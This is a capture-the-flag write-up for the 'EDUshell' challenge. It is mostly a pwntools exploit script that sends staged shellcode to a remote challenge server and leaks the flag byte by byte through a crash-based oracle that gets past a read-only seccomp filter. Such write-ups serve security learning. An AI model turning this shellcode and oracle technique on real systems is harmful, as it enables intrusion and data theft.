# EDUshell first decompile the program we can see some useful choice `exec` `loadflag` `cat EDUshell` * exec check if flag loaded if loaded copy until blank space to a mmap then call the mmap address * loadflag read flag to memory setup seccomp with only `read` `exit` `exitgroup` * cat EDUshell malloc a memory then fill with random value then print => loadflag then exec shellcode => use scanf `%255s` => first part of shell code reads more shellcode in no write only read => crash the program if input doesn't match flag else continue read => error base oracle oracle ```python= from pwn import * import string import time def preprocess(): r = remote('eofqual.zoolab.org', 10101) # r = process('./EDUshell') r.sendlineafter('$ ', 'loadflag') context.arch = 'amd64' shell = ''' xor rax, rax xor rdi, rdi xor r14, r14 inc r14 shl r14, 5 add rdx, r14 mov rsi, rdx shl r14, 5 mov rdx, r14 syscall nop ''' bin = asm(shell) # print(disasm(bin)) # print(len(bin)) r.sendline(b'exec ' + bin) # flag at rbx shell = ''' add rbx, 0x27c0 sub rsi, 0x20 read_loop: xor rax, rax xor rdi, rdi mov rdx, 5 syscall xor r14, r14 xor r15, r15 mov r15b, byte ptr [rbx] inc rbx mov r14b, byte ptr [rsi] cmp r14b, r15b je read_loop ''' bin = asm(shell) # print(disasm(bin)) # print(len(bin)) r.send(bin) return r context.log_level = 'error' known = "" now_at = 0 guess = 0 t = string.printable[:97] t = "_abcdefghijklmnopqrstuvwxyz}{ !0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" while True: r = preprocess() print(known) time.sleep(1) while True: # input() to = 0.2 next_send = "" if now_at >= len(known): next_send = t[guess] to = 0.7 else: next_send = known[now_at] print(next_send, to) r.send(next_send) try: r.recv(numb = 1, timeout = to) except EOFError: print("miss", now_at, t[guess]) now_at = 0 guess += 1 break if now_at >= len(known): known += t[guess] guess = 0 now_at += 1 ``` to lazy to improve speed but it works ###### tags: `solved`